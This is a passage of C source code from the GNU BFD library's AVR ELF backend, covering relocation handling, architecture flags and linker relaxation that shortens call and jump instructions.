Elf_Internal_Rela *dst) { unsigned int r_type; r_type = ELF32_R_TYPE (dst->r_info); BFD_ASSERT (r_type < (unsigned int) R_AVR_max); cache_ptr->howto = &elf_avr_howto_table[r_type]; } /* Look through the relocs for a section during the first phase. Since we don't do .gots or .plts, we just need to consider the virtual table relocs for gc. */ static bfd_boolean elf32_avr_check_relocs (bfd *abfd, struct bfd_link_info *info, asection *sec, const Elf_Internal_Rela *relocs) { Elf_Internal_Shdr *symtab_hdr; struct elf_link_hash_entry **sym_hashes; const Elf_Internal_Rela *rel; const Elf_Internal_Rela *rel_end; if (info->relocatable) return TRUE; symtab_hdr = &elf_tdata (abfd)->symtab_hdr; sym_hashes = elf_sym_hashes (abfd); rel_end = relocs + sec->reloc_count; for (rel = relocs; rel < rel_end; rel++) { struct elf_link_hash_entry *h; unsigned long r_symndx; r_symndx = ELF32_R_SYM (rel->r_info); if (r_symndx < symtab_hdr->sh_info) h = NULL; else { h = sym_hashes[r_symndx - symtab_hdr->sh_info]; while (h->root.type == bfd_link_hash_indirect || h->root.type == bfd_link_hash_warning) h = (struct elf_link_hash_entry *) h->root.u.i.link; } } return TRUE; } static bfd_boolean avr_stub_is_required_for_16_bit_reloc (bfd_vma relocation) { return (relocation >= 0x020000); } /* Returns the address of the corresponding stub if there is one. Returns otherwise an address above 0x020000. This function could also be used, if there is no knowledge on the section where the destination is found. */ static bfd_vma avr_get_stub_addr (bfd_vma srel, struct elf32_avr_link_hash_table *htab) { unsigned int index; bfd_vma stub_sec_addr = (htab->stub_sec->output_section->vma + htab->stub_sec->output_offset); for (index = 0; index < htab->amt_max_entry_cnt; index ++) if (htab->amt_destination_addr[index] == srel) return htab->amt_stub_offsets[index] + stub_sec_addr; /* Return an address that could not be reached by 16 bit relocs. */ return 0x020000; } /* Perform a single relocation. By default we use the standard BFD routines, but a few relocs, we have to do them ourselves. */ static bfd_reloc_status_type avr_final_link_relocate (reloc_howto_type * howto, bfd * input_bfd, asection * input_section, bfd_byte * contents, Elf_Internal_Rela * rel, bfd_vma relocation, struct elf32_avr_link_hash_table * htab) { bfd_reloc_status_type r = bfd_reloc_ok; bfd_vma x; bfd_signed_vma srel; bfd_signed_vma reloc_addr; bfd_boolean use_stubs = FALSE; /* Usually is 0, unless we are generating code for a bootloader. */ bfd_signed_vma base_addr = htab->vector_base; /* Absolute addr of the reloc in the final excecutable. */ reloc_addr = rel->r_offset + input_section->output_section->vma + input_section->output_offset; switch (howto->type) { case R_AVR_7_PCREL: contents += rel->r_offset; srel = (bfd_signed_vma) relocation; srel += rel->r_addend; srel -= rel->r_offset; srel -= 2; /* Branch instructions add 2 to the PC... */ srel -= (input_section->output_section->vma + input_section->output_offset); if (srel & 1) return bfd_reloc_outofrange; if (srel > ((1 << 7) - 1) || (srel < - (1 << 7))) return bfd_reloc_overflow; x = bfd_get_16 (input_bfd, contents); x = (x & 0xfc07) | (((srel >> 1) << 3) & 0x3f8); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_13_PCREL: contents += rel->r_offset; srel = (bfd_signed_vma) relocation; srel += rel->r_addend; srel -= rel->r_offset; srel -= 2; /* Branch instructions add 2 to the PC... */ srel -= (input_section->output_section->vma + input_section->output_offset); if (srel & 1) return bfd_reloc_outofrange; srel = avr_relative_distance_considering_wrap_around (srel); /* AVR addresses commands as words. */ srel >>= 1; /* Check for overflow. */ if (srel < -2048 || srel > 2047) { /* Relative distance is too large. */ /* Always apply WRAPAROUND for avr2 and avr4. */ switch (bfd_get_mach (input_bfd)) { case bfd_mach_avr2: case bfd_mach_avr4: break; default: return bfd_reloc_overflow; } } x = bfd_get_16 (input_bfd, contents); x = (x & 0xf000) | (srel & 0xfff); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_LO8_LDI: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_LDI: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (((srel > 0) && (srel & 0xffff) > 255) || ((srel < 0) && ((-srel) & 0xffff) > 128)) /* Remove offset for data/eeprom section. */ return bfd_reloc_overflow; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_6: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (((srel & 0xffff) > 63) || (srel < 0)) /* Remove offset for data/eeprom section. */ return bfd_reloc_overflow; x = bfd_get_16 (input_bfd, contents); x = (x & 0xd3f8) | ((srel & 7) | ((srel & (3 << 3)) << 7) | ((srel & (1 << 5)) << 8)); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_6_ADIW: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (((srel & 0xffff) > 63) || (srel < 0)) /* Remove offset for data/eeprom section. */ return bfd_reloc_overflow; x = bfd_get_16 (input_bfd, contents); x = (x & 0xff30) | (srel & 0xf) | ((srel & 0x30) << 2); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HI8_LDI: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = (srel >> 8) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HH8_LDI: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = (srel >> 16) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_MS8_LDI: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = (srel >> 24) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_LO8_LDI_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HI8_LDI_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; srel = (srel >> 8) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HH8_LDI_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; srel = (srel >> 16) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_MS8_LDI_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; srel = (srel >> 24) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_LO8_LDI_GS: use_stubs = (!htab->no_stubs); /* Fall through. */ case R_AVR_LO8_LDI_PM: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (use_stubs && avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) { bfd_vma old_srel = srel; /* We need to use the address of the stub instead. */ srel = avr_get_stub_addr (srel, htab); if (debug_stubs) printf ("LD: Using jump stub (at 0x%x) with destination 0x%x for " "reloc at address 0x%x.\n", (unsigned int) srel, (unsigned int) old_srel, (unsigned int) reloc_addr); if (avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) return bfd_reloc_outofrange; } if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HI8_LDI_GS: use_stubs = (!htab->no_stubs); /* Fall through. */ case R_AVR_HI8_LDI_PM: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (use_stubs && avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) { bfd_vma old_srel = srel; /* We need to use the address of the stub instead. */ srel = avr_get_stub_addr (srel, htab); if (debug_stubs) printf ("LD: Using jump stub (at 0x%x) with destination 0x%x for " "reloc at address 0x%x.\n", (unsigned int) srel, (unsigned int) old_srel, (unsigned int) reloc_addr); if (avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) return bfd_reloc_outofrange; } if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; srel = (srel >> 8) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HH8_LDI_PM: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; srel = (srel >> 16) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_LO8_LDI_PM_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HI8_LDI_PM_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; srel = (srel >> 8) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_HH8_LDI_PM_NEG: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; srel = -srel; if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; srel = (srel >> 16) & 0xff; x = bfd_get_16 (input_bfd, contents); x = (x & 0xf0f0) | (srel & 0xf) | ((srel << 4) & 0xf00); bfd_put_16 (input_bfd, x, contents); break; case R_AVR_CALL: contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; x = bfd_get_16 (input_bfd, contents); x |= ((srel & 0x10000) | ((srel << 3) & 0x1f00000)) >> 16; bfd_put_16 (input_bfd, x, contents); bfd_put_16 (input_bfd, (bfd_vma) srel & 0xffff, contents+2); break; case R_AVR_16_PM: use_stubs = (!htab->no_stubs); contents += rel->r_offset; srel = (bfd_signed_vma) relocation + rel->r_addend; if (use_stubs && avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) { bfd_vma old_srel = srel; /* We need to use the address of the stub instead. */ srel = avr_get_stub_addr (srel,htab); if (debug_stubs) printf ("LD: Using jump stub (at 0x%x) with destination 0x%x for " "reloc at address 0x%x.\n", (unsigned int) srel, (unsigned int) old_srel, (unsigned int) reloc_addr); if (avr_stub_is_required_for_16_bit_reloc (srel - base_addr)) return bfd_reloc_outofrange; } if (srel & 1) return bfd_reloc_outofrange; srel = srel >> 1; bfd_put_16 (input_bfd, (bfd_vma) srel &0x00ffff, contents); break; default: r = _bfd_final_link_relocate (howto, input_bfd, input_section, contents, rel->r_offset, relocation, rel->r_addend); } return r; } /* Relocate an AVR ELF section. */ static bfd_boolean elf32_avr_relocate_section (bfd *output_bfd ATTRIBUTE_UNUSED, struct bfd_link_info *info, bfd *input_bfd, asection *input_section, bfd_byte *contents, Elf_Internal_Rela *relocs, Elf_Internal_Sym *local_syms, asection **local_sections) { Elf_Internal_Shdr * symtab_hdr; struct elf_link_hash_entry ** sym_hashes; Elf_Internal_Rela * rel; Elf_Internal_Rela * relend; struct elf32_avr_link_hash_table * htab = avr_link_hash_table (info); symtab_hdr = & elf_tdata (input_bfd)->symtab_hdr; sym_hashes = elf_sym_hashes (input_bfd); relend = relocs + input_section->reloc_count; for (rel = relocs; rel < relend; rel ++) { reloc_howto_type * howto; unsigned long r_symndx; Elf_Internal_Sym * sym; asection * sec; struct elf_link_hash_entry * h; bfd_vma relocation; bfd_reloc_status_type r; const char * name; int r_type; r_type = ELF32_R_TYPE (rel->r_info); r_symndx = ELF32_R_SYM (rel->r_info); howto = elf_avr_howto_table + ELF32_R_TYPE (rel->r_info); h = NULL; sym = NULL; sec = NULL; if (r_symndx < symtab_hdr->sh_info) { sym = local_syms + r_symndx; sec = local_sections [r_symndx]; relocation = _bfd_elf_rela_local_sym (output_bfd, sym, &sec, rel); name = bfd_elf_string_from_elf_section (input_bfd, symtab_hdr->sh_link, sym->st_name); name = (name == NULL) ? bfd_section_name (input_bfd, sec) : name; } else { bfd_boolean unresolved_reloc, warned; RELOC_FOR_GLOBAL_SYMBOL (info, input_bfd, input_section, rel, r_symndx, symtab_hdr, sym_hashes, h, sec, relocation, unresolved_reloc, warned); name = h->root.root.string; } if (sec != NULL && elf_discarded_section (sec)) { /* For relocs against symbols from removed linkonce sections, or sections discarded by a linker script, we just want the section contents zeroed. Avoid any special processing. */ _bfd_clear_contents (howto, input_bfd, contents + rel->r_offset); rel->r_info = 0; rel->r_addend = 0; continue; } if (info->relocatable) continue; r = avr_final_link_relocate (howto, input_bfd, input_section, contents, rel, relocation, htab); if (r != bfd_reloc_ok) { const char * msg = (const char *) NULL; switch (r) { case bfd_reloc_overflow: r = info->callbacks->reloc_overflow (info, (h ? &h->root : NULL), name, howto->name, (bfd_vma) 0, input_bfd, input_section, rel->r_offset); break; case bfd_reloc_undefined: r = info->callbacks->undefined_symbol (info, name, input_bfd, input_section, rel->r_offset, TRUE); break; case bfd_reloc_outofrange: msg = _("internal error: out of range error"); break; case bfd_reloc_notsupported: msg = _("internal error: unsupported relocation error"); break; case bfd_reloc_dangerous: msg = _("internal error: dangerous relocation"); break; default: msg = _("internal error: unknown error"); break; } if (msg) r = info->callbacks->warning (info, msg, name, input_bfd, input_section, rel->r_offset); if (! r) return FALSE; } } return TRUE; } /* The final processing done just before writing out a AVR ELF object file. This gets the AVR architecture right based on the machine number. */ static void bfd_elf_avr_final_write_processing (bfd *abfd, bfd_boolean linker ATTRIBUTE_UNUSED) { unsigned long val; switch (bfd_get_mach (abfd)) { default: case bfd_mach_avr2: val = E_AVR_MACH_AVR2; break; case bfd_mach_avr1: val = E_AVR_MACH_AVR1; break; case bfd_mach_avr3: val = E_AVR_MACH_AVR3; break; case bfd_mach_avr4: val = E_AVR_MACH_AVR4; break; case bfd_mach_avr5: val = E_AVR_MACH_AVR5; break; case bfd_mach_avr6: val = E_AVR_MACH_AVR6; break; } elf_elfheader (abfd)->e_machine = EM_AVR; elf_elfheader (abfd)->e_flags &= ~ EF_AVR_MACH; elf_elfheader (abfd)->e_flags |= val; elf_elfheader (abfd)->e_flags |= EF_AVR_LINKRELAX_PREPARED; } /* Set the right machine number. */ static bfd_boolean elf32_avr_object_p (bfd *abfd) { unsigned int e_set = bfd_mach_avr2; if (elf_elfheader (abfd)->e_machine == EM_AVR || elf_elfheader (abfd)->e_machine == EM_AVR_OLD) { int e_mach = elf_elfheader (abfd)->e_flags & EF_AVR_MACH; switch (e_mach) { default: case E_AVR_MACH_AVR2: e_set = bfd_mach_avr2; break; case E_AVR_MACH_AVR1: e_set = bfd_mach_avr1; break; case E_AVR_MACH_AVR3: e_set = bfd_mach_avr3; break; case E_AVR_MACH_AVR4: e_set = bfd_mach_avr4; break; case E_AVR_MACH_AVR5: e_set = bfd_mach_avr5; break; case E_AVR_MACH_AVR6: e_set = bfd_mach_avr6; break; } } return bfd_default_set_arch_mach (abfd, bfd_arch_avr, e_set); } /* Delete some bytes from a section while changing the size of an instruction. The parameter "addr" denotes the section-relative offset pointing just behind the shrinked instruction. "addr+count" point at the first byte just behind the original unshrinked instruction. */ static bfd_boolean elf32_avr_relax_delete_bytes (bfd *abfd, asection *sec, bfd_vma addr, int count) { Elf_Internal_Shdr *symtab_hdr; unsigned int sec_shndx; bfd_byte *contents; Elf_Internal_Rela *irel, *irelend; Elf_Internal_Rela *irelalign; Elf_Internal_Sym *isym; Elf_Internal_Sym *isymbuf = NULL; Elf_Internal_Sym *isymend; bfd_vma toaddr; struct elf_link_hash_entry **sym_hashes; struct elf_link_hash_entry **end_hashes; unsigned int symcount; symtab_hdr = &elf_tdata (abfd)->symtab_hdr; sec_shndx = _bfd_elf_section_from_bfd_section (abfd, sec); contents = elf_section_data (sec)->this_hdr.contents; /* The deletion must stop at the next ALIGN reloc for an aligment power larger than the number of bytes we are deleting. */ irelalign = NULL; toaddr = sec->size; irel = elf_section_data (sec)->relocs; irelend = irel + sec->reloc_count; /* Actually delete the bytes. */ if (toaddr - addr - count > 0) memmove (contents + addr, contents + addr + count, (size_t) (toaddr - addr - count)); sec->size -= count; /* Adjust all the reloc addresses. */ for (irel = elf_section_data (sec)->relocs; irel < irelend; irel++) { bfd_vma old_reloc_address; bfd_vma shrinked_insn_address; old_reloc_address = (sec->output_section->vma + sec->output_offset + irel->r_offset); shrinked_insn_address = (sec->output_section->vma + sec->output_offset + addr - count); /* Get the new reloc address. */ if ((irel->r_offset > addr && irel->r_offset < toaddr)) { if (debug_relax) printf ("Relocation at address 0x%x needs to be moved.\n" "Old section offset: 0x%x, New section offset: 0x%x \n", (unsigned int) old_reloc_address, (unsigned int) irel->r_offset, (unsigned int) ((irel->r_offset) - count)); irel->r_offset -= count; } } /* The reloc's own addresses are now ok. However, we need to readjust the reloc's addend, i.e. the reloc's value if two conditions are met: 1.) the reloc is relative to a symbol in this section that is located in front of the shrinked instruction 2.) symbol plus addend end up behind the shrinked instruction. The most common case where this happens are relocs relative to the section-start symbol. This step needs to be done for all of the sections of the bfd. */ { struct bfd_section *isec; for (isec = abfd->sections; isec; isec = isec->next) { bfd_vma symval; bfd_vma shrinked_insn_address; shrinked_insn_address = (sec->output_section->vma + sec->output_offset + addr - count); irelend = elf_section_data (isec)->relocs + isec->reloc_count; for (irel = elf_section_data (isec)->relocs; irel < irelend; irel++) { /* Read this BFD's local symbols if we haven't done so already. */ if (isymbuf == NULL && symtab_hdr->sh_info != 0) { isymbuf = (Elf_Internal_Sym *) symtab_hdr->contents; if (isymbuf == NULL) isymbuf = bfd_elf_get_elf_syms (abfd, symtab_hdr, symtab_hdr->sh_info, 0, NULL, NULL, NULL); if (isymbuf == NULL) return FALSE; } /* Get the value of the symbol referred to by the reloc. */ if (ELF32_R_SYM (irel->r_info) < symtab_hdr->sh_info) { /* A local symbol. */ Elf_Internal_Sym *isym; asection *sym_sec; isym = isymbuf + ELF32_R_SYM (irel->r_info); sym_sec = bfd_section_from_elf_index (abfd, isym->st_shndx); symval = isym->st_value; /* If the reloc is absolute, it will not have a symbol or section associated with it. */ if (sym_sec == sec) { symval += sym_sec->output_section->vma + sym_sec->output_offset; if (debug_relax) printf ("Checking if the relocation's " "addend needs corrections.\n" "Address of anchor symbol: 0x%x \n" "Address of relocation target: 0x%x \n" "Address of relaxed insn: 0x%x \n", (unsigned int) symval, (unsigned int) (symval + irel->r_addend), (unsigned int) shrinked_insn_address); if (symval <= shrinked_insn_address && (symval + irel->r_addend) > shrinked_insn_address) { irel->r_addend -= count; if (debug_relax) printf ("Relocation's addend needed to be fixed \n"); } } /* else...Reference symbol is absolute. No adjustment needed. */ } /* else...Reference symbol is extern. No need for adjusting the addend. */ } } } /* Adjust the local symbols defined in this section. */ isym = (Elf_Internal_Sym *) symtab_hdr->contents; isymend = isym + symtab_hdr->sh_info; for (; isym < isymend; isym++) { if (isym->st_shndx == sec_shndx && isym->st_value > addr && isym->st_value < toaddr) isym->st_value -= count; } /* Now adjust the global symbols defined in this section. */ symcount = (symtab_hdr->sh_size / sizeof (Elf32_External_Sym) - symtab_hdr->sh_info); sym_hashes = elf_sym_hashes (abfd); end_hashes = sym_hashes + symcount; for (; sym_hashes < end_hashes; sym_hashes++) { struct elf_link_hash_entry *sym_hash = *sym_hashes; if ((sym_hash->root.type == bfd_link_hash_defined || sym_hash->root.type == bfd_link_hash_defweak) && sym_hash->root.u.def.section == sec && sym_hash->root.u.def.value > addr && sym_hash->root.u.def.value < toaddr) { sym_hash->root.u.def.value -= count; } } return TRUE; } /* This function handles relaxing for the avr. Many important relaxing opportunities within functions are already realized by the compiler itself. Here we try to replace call (4 bytes) -> rcall (2 bytes) and jump -> rjmp (safes also 2 bytes). As well we now optimize seqences of - call/rcall function - ret to yield - jmp/rjmp function - ret . In case that within a sequence - jmp/rjmp label - ret the ret could no longer be reached it is optimized away. In order to check if the ret is no longer needed, it is checked that the ret's address is not the target of a branch or jump within the same section, it is checked that there is no skip instruction before the jmp/rjmp and that there is no local or global label place at the address of the ret. We refrain from relaxing within sections ".vectors" and ".jumptables" in order to maintain the position of the instructions. There, however, we substitute jmp/call by a sequence rjmp,nop/rcall,nop if possible. (In future one could possibly use the space of the nop for the first instruction of the irq service function. The .jumptables sections is meant to be used for a future tablejump variant for the devices with 3-byte program counter where the table itself contains 4-byte jump instructions whose relative offset must not be changed. */ static bfd_boolean elf32_avr_relax_section (bfd *abfd, asection *sec, struct bfd_link_info *link_info, bfd_boolean *again) { Elf_Internal_Shdr *symtab_hdr; Elf_Internal_Rela *internal_relocs; Elf_Internal_Rela *irel, *irelend; bfd_byte *contents = NULL; Elf_Internal_Sym *isymbuf = NULL; static asection *last_input_section = NULL; static Elf_Internal_Rela *last_reloc = NULL; struct elf32_avr_link_hash_table *htab; htab = avr_link_hash_table (link_info); if (htab == NULL) return FALSE; /* Assume nothing changes. */ *again = FALSE; if ((!htab->no_stubs) && (sec == htab->stub_sec)) { /* We are just relaxing the stub section. Let's calculate the size needed again. */ bfd_size_type last_estimated_stub_section_size = htab->stub_sec->size; if (debug_relax) printf ("Relaxing the stub section. Size prior to this pass: %i\n", (int) last_estimated_stub_section_size); elf32_avr_size_stubs (htab->stub_sec->output_section->owner, link_info, FALSE); /* Check if the number of trampolines changed. */ if (last_estimated_stub_section_size != htab->stub_sec->size) *again = TRUE; if (debug_relax) printf ("Size of stub section after this pass: %i\n", (int) htab->stub_sec->size); return TRUE; } /* We don't have to do anything for a relocatable link, if this section does not have relocs, or if this is not a code section. */ if (link_info->relocatable || (sec->flags & SEC_RELOC) == 0 || sec->reloc_count == 0 || (sec->flags & SEC_CODE) == 0) return TRUE; /* Check if the object file to relax uses internal symbols so that we could fix up the relocations. */ if (!(elf_elfheader (abfd)->e_flags & EF_AVR_LINKRELAX_PREPARED)) return TRUE; symtab_hdr = &elf_tdata (abfd)->symtab_hdr; /* Get a copy of the native relocations. */ internal_relocs = (_bfd_elf_link_read_relocs (abfd, sec, NULL, NULL, link_info->keep_memory)); if (internal_relocs == NULL) goto error_return; if (sec != last_input_section) last_reloc = NULL; last_input_section = sec; /* Walk through the relocs looking for relaxing opportunities. */ irelend = internal_relocs + sec->reloc_count; for (irel = internal_relocs; irel < irelend; irel++) { bfd_vma symval; if ( ELF32_R_TYPE (irel->r_info) != R_AVR_13_PCREL && ELF32_R_TYPE (irel->r_info) != R_AVR_7_PCREL && ELF32_R_TYPE (irel->r_info) != R_AVR_CALL) continue; /* Get the section contents if we haven't done so already. */ if (contents == NULL) { /* Get cached copy if it exists. */ if (elf_section_data (sec)->this_hdr.contents != NULL) contents = elf_section_data (sec)->this_hdr.contents; else { /* Go get them off disk. */ if (! bfd_malloc_and_get_section (abfd, sec, &contents)) goto error_return; } } /* Read this BFD's local symbols if we haven't done so already. */ if (isymbuf == NULL && symtab_hdr->sh_info != 0) { isymbuf = (Elf_Internal_Sym *) symtab_hdr->contents; if (isymbuf == NULL) isymbuf = bfd_elf_get_elf_syms (abfd, symtab_hdr, symtab_hdr->sh_info, 0, NULL, NULL, NULL); if (isymbuf == NULL) goto error_return; } /* Get the value of the symbol referred to by the reloc. */ if (ELF32_R_SYM (irel->r_info) < symtab_hdr->sh_info) { /* A local symbol. */ Elf_Internal_Sym *isym; asection *sym_sec; isym = isymbuf + ELF32_R_SYM (irel->r_info); sym_sec = bfd_section_from_elf_index (abfd, isym->st_shndx); symval = isym->st_value; /* If the reloc is absolute, it will not have a symbol or section associated with it. */ if (sym_sec) symval += sym_sec->output_section->vma + sym_sec->output_offset; } else { unsigned long indx; struct elf_link_hash_entry *h; /* An external symbol. */ indx = ELF32_R_SYM (irel->r_info) - symtab_hdr->sh_info; h = elf_sym_hashes (abfd)[indx]; BFD_ASSERT (h != NULL); if (h->root.type != bfd_link_hash_defined && h->root.type != bfd_link_hash_defweak) /* This appears to be a reference to an undefined symbol. Just ignore it--it will be caught by the regular reloc processing. */ continue; symval = (h->root.u.def.value + h->root.u.def.section->output_section->vma + h->root.u.def.section->output_offset); } /* For simplicity of coding, we are going to modify the section contents, the section relocs, and the BFD symbol table. We must tell the rest of the code not to free up this information. It would be possible to instead create a table of changes which have to be made, as is done in coff-mips.c; that would be more work, but would require less memory when the linker is run. */ switch (ELF32_R_TYPE (irel->r_info)) { /* Try to turn a 22-bit absolute call/jump into an 13-bit pc-relative rcall/rjmp. */ case R_AVR_CALL: { bfd_vma value = symval + irel->r_addend; bfd_vma dot, gap; int distance_short_enough = 0; /* Get the address of this instruction. */ dot = (sec->output_section->vma + sec->output_offset + irel->r_offset); /* Compute the distance from this insn to the branch target. */ gap = value - dot; /* If the distance is within -4094..+4098 inclusive, then we can relax this jump/call. +4098 because the call/jump target will be closer after the relaxation. */ if ((int) gap >= -4094 && (int) gap <= 4098) distance_short_enough = 1; /* Here we handle the wrap-around case. E.g. for a 16k device we could use a rjmp to jump from address 0x100 to 0x3d00! In order to make this work properly, we need to fill the vaiable avr_pc_wrap_around with the appropriate value. I.e. 0x4000 for a 16k device. */ { /* Shrinking the code size makes the gaps larger in the case of wrap-arounds. So we use a heuristical safety margin to avoid that during relax the distance gets again too large for the short jumps. Let's assume a typical code-size reduction due to relax for a 16k device of 600 bytes. So let's use twice the typical value as safety margin. */ int rgap; int safety_margin; int assumed_shrink = 600; if (avr_pc_wrap_around > 0x4000) assumed_shrink = 900; safety_margin = 2 * assumed_shrink; rgap = avr_relative_distance_considering_wrap_around (gap); if (rgap >= (-4092 + safety_margin) && rgap <= (4094 - safety_margin)) distance_short_enough = 1; } if (distance_short_enough) { unsigned char code_msb; unsigned char code_lsb; if (debug_relax) printf ("shrinking jump/call instruction at address 0x%x" " in section %s\n\n", (int) dot, sec->name); /* Note that we've changed the relocs, section contents, etc. */ elf_section_data (sec)->relocs = internal_relocs; elf_section_data (sec)->this_hdr.contents = contents; symtab_hdr->contents = (unsigned char *) isymbuf; /* Get the instruction code for relaxing. */ code_lsb = bfd_get_8 (abfd, contents + irel->r_offset); code_msb = bfd_get_8 (abfd, contents + irel->r_offset + 1); /* Mask out the relocation bits. */ code_msb &= 0x94; code_lsb &= 0x0E; if (code_msb == 0x94 && code_lsb == 0x0E) { /* we are changing call -> rcall . */ bfd_put_8 (abfd, 0x00, contents + irel->r_offset); bfd_put_8 (abfd, 0xD0, contents + irel->r_offset + 1); } else if (code_msb == 0x94 && code_lsb == 0x0C) { /* we are changeing jump -> rjmp. */ bfd_put_8 (abfd, 0x00, contents + irel->r_offset); bfd_put_8 (abfd, 0xC0, contents + irel->r_offset + 1); } else abort (); /* Fix the relocation's type. */ irel->r_info = ELF32_R_INFO (ELF32_R_SYM (irel->r_info), R_AVR_13_PCREL); /* Check for the vector section. There we don't want to modify the ordering! */ if (!strcmp (sec->name,".vectors") || !strcmp (sec->name,".jumptables")) { /* Let's insert a nop. */ bfd_put_8 (abfd, 0x00, contents + irel->r_offset + 2); bfd_put_8 (abfd, 0x00, contents + irel->r_offset + 3); } else { /* Delete two bytes of data. */ if (!elf32_avr_relax_delete_bytes (abfd, sec, irel->r_offset + 2, 2)) goto error_return; /* That will change things, so, we should relax again. Note that this is not required, and it may be slow. */ *again = TRUE; } } } default: { unsigned char code_msb; unsigned char code_lsb; bfd_vma dot; code_msb = bfd_get_8 (abfd, contents + irel->r_offset + 1); code_lsb = bfd_get_8 (abfd, contents + irel->r_offset + 0); /* Get the address of this instruction. */ dot = (sec->output_section->vma + sec->output_offset + irel->r_offset); /* Here we look for rcall/ret or call/ret sequences that could be safely replaced by rjmp/ret or jmp/ret. */ if (((code_msb & 0xf0) == 0xd0) && avr_replace_call_ret_sequences) { /* This insn is a rcall. */ unsigned char next_insn_msb = 0; unsigned char next_insn_lsb = 0; if (irel->r_offset + 3 < sec->size) { next_insn_msb = bfd_get_8 (abfd, contents + irel->r_offset + 3); next_insn_lsb = bfd_get_8 (abfd, contents + irel->r_offset + 2); } if ((0x95 == next_insn_msb) && (0x08 == next_insn_lsb)) { /* The next insn is a ret. We now convert the rcall insn into a rjmp instruction. */ code_msb &= 0xef; bfd_put_8 (abfd, code_msb, contents + irel->r_offset + 1); if (debug_relax) printf ("converted rcall/ret sequence at address 0x%x" " into rjmp/ret sequence. Section is %s\n\n", (int) dot, sec->name); *again = TRUE; break; } } else if ((0x94 == (code_msb & 0xfe)) && (0x0e == (code_lsb & 0x0e)) && avr_replace_call_ret_sequences) { /* This insn is a call. */ unsigned char next_insn_msb = 0; unsigned char next_insn_lsb = 0; if (irel->r_offset + 5 < sec->size) { next_insn_msb = bfd_get_8 (abfd, contents + irel->r_offset 